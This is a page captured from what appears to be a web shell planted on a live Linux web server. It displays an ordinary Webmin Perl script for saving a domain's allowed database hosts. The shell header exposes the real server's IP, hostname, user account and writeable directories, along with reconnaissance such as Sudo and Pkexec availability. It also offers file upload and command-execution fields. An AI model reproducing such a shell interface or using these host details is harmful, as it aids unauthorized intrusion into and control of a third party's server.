Private
Server IP : 195.201.23.43  /  Your IP : 3.12.107.192
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/save_dbhosts.cgi
#!/usr/bin/perl
# Update the allowed remote hosts for a domain

require './virtual-server-lib.pl';
&ReadParse();
$d = &get_domain($in{'dom'});
&can_edit_domain($d) || &error($text{'edit_ecannot'});
&can_edit_databases($d) || &error($text{'databases_ecannot'});
&can_allowed_db_hosts() || &error($text{'databases_ecannot'});
&error_setup($text{'dbhosts_err'});

# Validate inputs
@hosts = split(/\r?\n/, $in{'hosts'});
@hosts || &error($text{'dbhosts_enone'});
foreach $h (@hosts) {
	$h =~ /^[a-z0-9\.\-\_\%\\:]+$/i ||
		&error(&text('dbhosts_ehost', $h));
	}

# Do the change
&ui_print_unbuffered_header(&domain_in($d), $text{'dbhosts_title'}, "");

# Call the change function
&$first_print(&text('dbhosts_doing',
		    $text{'databases_'.$in{'type'}},
		    join(", ", map { "<tt>$_</tt>" } @hosts)));
$afunc = "save_".$in{'type'}."_allowed_hosts";
$err = &$afunc($d, \@hosts);
if ($err) {
	&$second_print(&text('dbhosts_failed', $err));
	}
else {
	$ufunc = $in{'type'}."_user";
	&$second_print(&text('dbhosts_done', "<tt>".&$ufunc($d)."</tt>"));
	}

&run_post_actions();

&webmin_log("dbhosts", "domain", $d->{'dom'}, $d);

&ui_print_footer("list_databases.cgi?dom=$in{'dom'}", $text{'databases_return'},
		 &domain_footer_link($d),
		 "", $text{'index_return'});

Private